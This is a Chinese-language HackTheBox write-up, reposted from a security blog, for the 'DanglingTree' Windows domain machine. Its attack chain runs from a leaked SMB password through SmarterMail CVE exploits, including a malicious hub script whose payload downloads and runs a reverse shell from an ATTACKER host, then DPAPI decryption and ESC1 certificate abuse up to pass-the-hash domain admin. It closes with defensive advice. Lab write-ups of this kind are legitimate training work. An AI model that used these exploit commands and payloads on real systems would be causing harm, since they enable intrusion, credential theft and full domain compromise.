HackTheBox-DanglingTree

admin 2026-08-18 06:24:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为HackTheBoxDanglingTree靶机(Hard难度)的渗透测试技术复盘。攻击路径始于匿名SMB共享泄露凭据,利用SmarterMailRCE(CVE-2026-24423)获取初始shell。通过DPAPI离线解密和ForceChangePassword横向移动,最终利用ADCS悬空模板重建(ESC1)结合PKINIT获取域管理员权限。核心教训是信息泄露是常见突破口,ADCS配置缺陷可导致权限提升。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,漏洞分析,应急响应


cover_image

HackTheBox-DanglingTree

网安之家-CyberHomestead

2026年8月15日 10:49 湖北

在小说阅读器读本章

去阅读

【HTB Writeup】DanglingTree:一张”不存在”的证书,拿下整个域

本文为授权环境下 HackTheBox VIP 靶场的技术复盘,已对全部凭据、哈希、Flag 与攻击端信息脱敏。请遵守 HTB 规则:未退休机器请勿查阅 writeup 作弊。 难度:Hard | 类型:Windows AD | 关键词:SmarterMail RCE · DPAPI · AD CS 悬空模板 · ESC1 · PKINIT


0x00 靶场信息卡

| 项目 | 内容 | | — | — | | 靶机 | DanglingTree(Season 11 / Hard) | | 系统 | Windows Server 2025 (Build 26100) | | 域 | danglingtree.htb | | 目标 | user.txt + root.txt | | 攻击机 | Kali Linux(IP 已脱敏,下文以 ATTACKER 代称) | | 目标 IP | 已脱敏,下文以 TARGET 代称 |

脱敏说明:文中所有密码显示为 ********,哈希显示为 <HASH>,Flag 显示为 <FLAG>,证书指纹/序列号截断显示。


0x01 网络拓扑图

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ┌─────────────────────────────┐
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp;HackTheBox VIP 网络 &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; ┌───────────────────────┐ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │ &nbsp; DC (DanglingTree) &nbsp; │ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │───────────────────────│ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │ :445 &nbsp; SMB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │ :88 &nbsp; &nbsp;Kerberos &nbsp; &nbsp; &nbsp; │ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │ :389/636 LDAP(S) &nbsp; &nbsp; &nbsp;│ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │ :17001 SmarterMail &nbsp; &nbsp;│ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │ :9998 &nbsp;SmarterMail UI │ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │ :6600 &nbsp;WAC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; │ 域: danglingtree.htb &nbsp;│ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; └───────────┬───────────┘ │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └───────────────┼─────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ VPN 隧道
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ┌───────────────┴─────────────┐
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; 攻击机 Kali (ATTACKER) &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; nc:4444 / http:8081 &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; hub:8082 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └────────────────────────────┘

0x02 攻击路径总览拓扑图

匿名SMB ──①──▶ anderson.w凭据(共享泄露)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ② CVE-2026-24423 (SmarterMail connect-to-hub RCE)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;svc_mail shell
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ③ RunasCs → noah.b ──▶ 【user.txt】
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ④ DPAPI 离线解密 → alex.o
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ⑤ ForceChangePassword → jake.h
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ (Template_Editors 唯一成员)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ⑥ AD CS 悬空模板重建 (ESC1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;重建 RemoteAccessVPN
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;├── bloodyAD 加 GenericAll
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;├── LDAPS 补齐 14 项模板属性
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;└── certreq PKCS10 + SID扩展 → CA签发
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ▼
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ⑦ PKINIT + UnPAC the hash → Administrator
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ⑧ PsExec PtH ──▶ 【root.txt】★

0x03 Phase 0 · 侦察(Day1 上午)

nmap -p- --min-rate 5000 TARGET
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,17001,9998,47001,6600 TARGET

蛛丝马迹17001/9998 → SmarterMail6600 → WAC、445 开放 —— 三条并行线索。

SMB 匿名枚举:

smbclient -L //TARGET/ -N &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 发现 IT 共享
smbclient //TARGET/IT -N -c&nbsp;'dir; get credentials.txt'

共享里一份”运维备忘”直接泄露了 anderson.w 的密码(此处脱敏 ********)。 教训:HTB 的第一步突破口几乎总在”信息泄露”,先翻共享再看服务。


0x04 Phase 1 · 初始访问:SmarterMail 双 CVE(Day1 下午)

CVE-2026-23760 · 未授权密码重置(box 重置后重新进门用)

curl -k&nbsp;"https://TARGET:9998/api/v1/settings/sysadmin/reset-password"&nbsp;\
&nbsp; -X POST -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -d&nbsp;'{"IsSysAdmin":"true","Username":"svc_mail","OldPassword":"x",
&nbsp; &nbsp; &nbsp; &nbsp;"NewPassword":"********","ConfirmPassword":"********"}'

玄机:字段必须 PascalCaseIsSysAdmin 是字符串 "true" 才绕过旧密码校验。

CVE-2026-24423 · connect-to-hub RCE

先起恶意 hub(Kali :8082)——回调路径必须是 /web/api/node-management/setup-initial-connection,JSON 字段 SystemMount.CommandMount(PascalCase):

# hub.py(节选,完整版见仓库)
from&nbsp;http.server&nbsp;import&nbsp;HTTPServer, BaseHTTPRequestHandler
import&nbsp;json
REV =&nbsp;'powershell -nop -w hidden -c "IEX(...DownloadString(\'http://ATTACKER:8081/rev.ps1\'))"'
class&nbsp;H(BaseHTTPRequestHandler):
&nbsp; &nbsp;&nbsp;def&nbsp;do_POST(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"setup-initial-connection"&nbsp;not&nbsp;in&nbsp;self.path:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self._r(404, {})
&nbsp; &nbsp; &nbsp; &nbsp; resp = {"ClusterID":"f0e12780-...","SharedSecret":"any","TargetHubs":{"a":"b"},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"IsStandby":False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"SystemMount":{"Enabled":True,"ReadOnly":False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"MountPath":"C:\\\\","CommandMount":REV},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"SystemAdminUsernames":["admin"]}
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self._r(200, resp)
HTTPServer(("0.0.0.0",8082), H).serve_forever()

WAC 的 PowerShell 里触发:

Invoke-RestMethod&nbsp;-Uri&nbsp;'http://127.0.0.1:17017/api/v1/settings/sysadmin/connect-to-hub'&nbsp;`
&nbsp;&nbsp;-Method&nbsp;Post&nbsp;-ContentType&nbsp;'application/json'&nbsp;`
&nbsp;&nbsp;-Body&nbsp;'{"hubAddress":"http://ATTACKER:8082","oneTimePassword":"t","nodeName":"n"}'

nc 收到:danglingtree\svc_mail ✅


0x05 Phase 2 · 横向移动与 user.txt(Day1 晚)

  1. 1. RunasCs.exe noah.b '********' "type C:\Users\noah.b\Desktop\user.txt" -t 10000 → user.txt:<FLAG>(已提交)
  2. 2. 提取 noah.b 的 DPAPI 凭据(Roaming\Credentials + Protect masterkey),Kali 离线解:
dpapi.py masterkey -file master.bin -sid S-1-5-21-...-1105 -password&nbsp;'********'
dpapi.py credential -file cred.bin -key 0x7120d9... &nbsp; &nbsp;&nbsp;# → alex.o 明文凭据
  1. 3. alex.o(support-it 组)对 jake.h 有 ForceChangePassword:
rpcclient -U&nbsp;"alex.o%********"&nbsp;TARGET -c&nbsp;'setuserinfo2 jake.h 23 ********'

卡点:svc_mail 的反弹 shell 处于 UAC 虚拟化——写 C:\Windows\Temp 会被静默重定向到 VirtualStore。一律改用 C:\Users\Public + [System.IO.File]::WriteAllText()


0x06 Phase 3 · 核心戏:AD CS 悬空模板重建(Day2 下午)

蛛丝马迹:CA 说有、目录说没有

# LDAPS 枚举 CA 发布列表(Server 2025 明文 LDAP 被 strongerAuthRequired 拒)
python3 - <<'EOF'
import ldap3, ssl
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
s = ldap3.Server('TARGET', 636, use_ssl=True, tls=tls, get_info=ldap3.NONE)
c = ldap3.Connection(s, user=r'DANGLINGTREE\jake.h', password='********',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;authentication=ldap3.NTLM, check_names=False); c.bind()
c.search('CN=danglingtree-DC-CA,CN=Enrollment Services,CN=Public Key Services,'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'CN=Services,CN=Configuration,DC=danglingtree,DC=htb',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'(objectClass=*)', attributes=['certificateTemplates'])
print(c.entries[0]['certificateTemplates'].values)
EOF

输出里 RemoteAccessVPN / EmployeeAuthTemplate / VPNUserTemplate —— 但模板容器里根本不存在这三个对象(悬空引用)。而 jake.h 所在的 Template_Editors 对容器有 CREATE_CHILD → 重建同名模板即”继承”CA 信任。

四步重建(命令配方)

# ① LDAPS 创建 ESC1 模板(Name-Flag=1 即 ENROLLEE_SUPPLIES_SUBJECT,EKU=ClientAuth+PKINIT)
# ② bloodyAD 加 GenericAll(别手写 SD 二进制!血泪教训)
bloodyAD -s -d danglingtree.htb -u jake.h -p&nbsp;'********'&nbsp;-H TARGET \
&nbsp; add genericAll&nbsp;'CN=RemoteAccessVPN,CN=Certificate Templates,...,DC=htb'&nbsp;jake.h
# ③ LDAPS 补齐 14 项必需属性(缺 revision/OID/CSP/KeyUsage/Expiration 任何一项,
# &nbsp; &nbsp;certutil -template 都看不见它 → certreq 报 Template not found)
# ④ gpupdate /force → certutil -template 出现 RemoteAccessVPN ✅

申请 Administrator 证书(RPC 被封 → certreq 本地两跳)

# INF 关键三行:PKCS10(不是Cert!)+SAN UPN+SID扩展(hex 空格分隔,_continue_ 分行)
RequestType = PKCS10
2.5.29.17&nbsp;=&nbsp;"{text}"; _continue_ =&nbsp;"[email protected]"
1.3.6.1.4.1.311.25.2&nbsp;=&nbsp;"{hex}"; _continue_ =&nbsp;"30 3d a0 3b ..."&nbsp; &nbsp;# Administrator SID

certreq&nbsp;-q&nbsp;-new&nbsp;inf out.req &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 跳1 生成CSR
Start-Job&nbsp;{ certreq&nbsp;-q&nbsp;-submit&nbsp;-config&nbsp;"DC\danglingtree-DC-CA"&nbsp;`
&nbsp;&nbsp;-attrib&nbsp;"CertificateTemplate:RemoteAccessVPN"&nbsp;out.req admin.cer } &nbsp;# 跳2 CA签名
certreq&nbsp;-accept&nbsp;admin.cer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 跳3 安装

为什么必须注入 SID:Server 2025 的 KB5014754 强映射 —— 没有这个扩展,PKINIT 直接 KDC_ERROR_CLIENT_NOT_TRUSTED(实测被拦两次)。


0x07 Phase 4 · PKINIT 拿权(Day2 晚)

sudo&nbsp;ntpdate TARGET &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 对时!实测曾偏移 7 小时
certipy-ad auth -pfx admin.pfx -dc-ip TARGET \
&nbsp; -username administrator -domain danglingtree.htb -password&nbsp;'********'
# → Got hash for administrator: <HASH>(已脱敏)

impacket-psexec danglingtree.htb/administrator@TARGET -hashes <HASH>
C:\>&nbsp;whoami&nbsp; &nbsp;→ danglingtree\administrator
C:\>&nbsp;type&nbsp;C:\Users\Administrator\Desktop\root.txt &nbsp; → <FLAG> ★

0x08 卡点与玄机(精华)

| 玄机 | 一句话 | | — | — | | 时钟偏移 7 小时 | Kerberos 每战必 ntpdate | | RequestType=Cert 是自签名 | 必须 PKCS10 + -submit 让 CA 签名,否则 PKINIT 拒收 | | 模板创建成功却不可见 | 与正常模板 diff 属性,补齐 revision/OID/CSP 全家桶 | | Owner 也写不了 ACL | bloodyAD add genericAll 走 Owner 的 WriteDacl,一步到位 | | ldap3 读 SD 返回 None | 必须带 SD_FLAGS control 1.2.840.113556.1.4.801 | | nc shell 多行被拆 | 一律 .ps1 落盘执行,别粘贴 here-string |


0x09 防御启示(给蓝队)

  1. 1. 巡检 CA 悬空引用certificateTemplates 与模板容器做每日一致性比对
  2. 2. 收紧 Template_Editors:CREATE_CHILD 不该落在普通用户
  3. 3. CA 颁发给特权账户且请求者≠本人 → 4887 事件实时告警
  4. 4. 邮件服务进程的子进程链(→cmd→powershell)是黄金检测点
  5. 5. 保持 Strong Mapping / LDAP 签名基线 —— 本靶场它们确实拦住过两次攻击

0x0A 免责声明

本文仅用于授权环境(HTB VIP)的学习复盘。所有凭据、哈希、Flag 均已脱敏,请独立完成挑战、遵守平台规则。转载请注明出处。


关注公众号,获取更多 AD CS / Windows 域渗透深度复盘 ▼


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网安之家-CyberHomestead 《HackTheBox-DanglingTree》

评论:0   参与:  0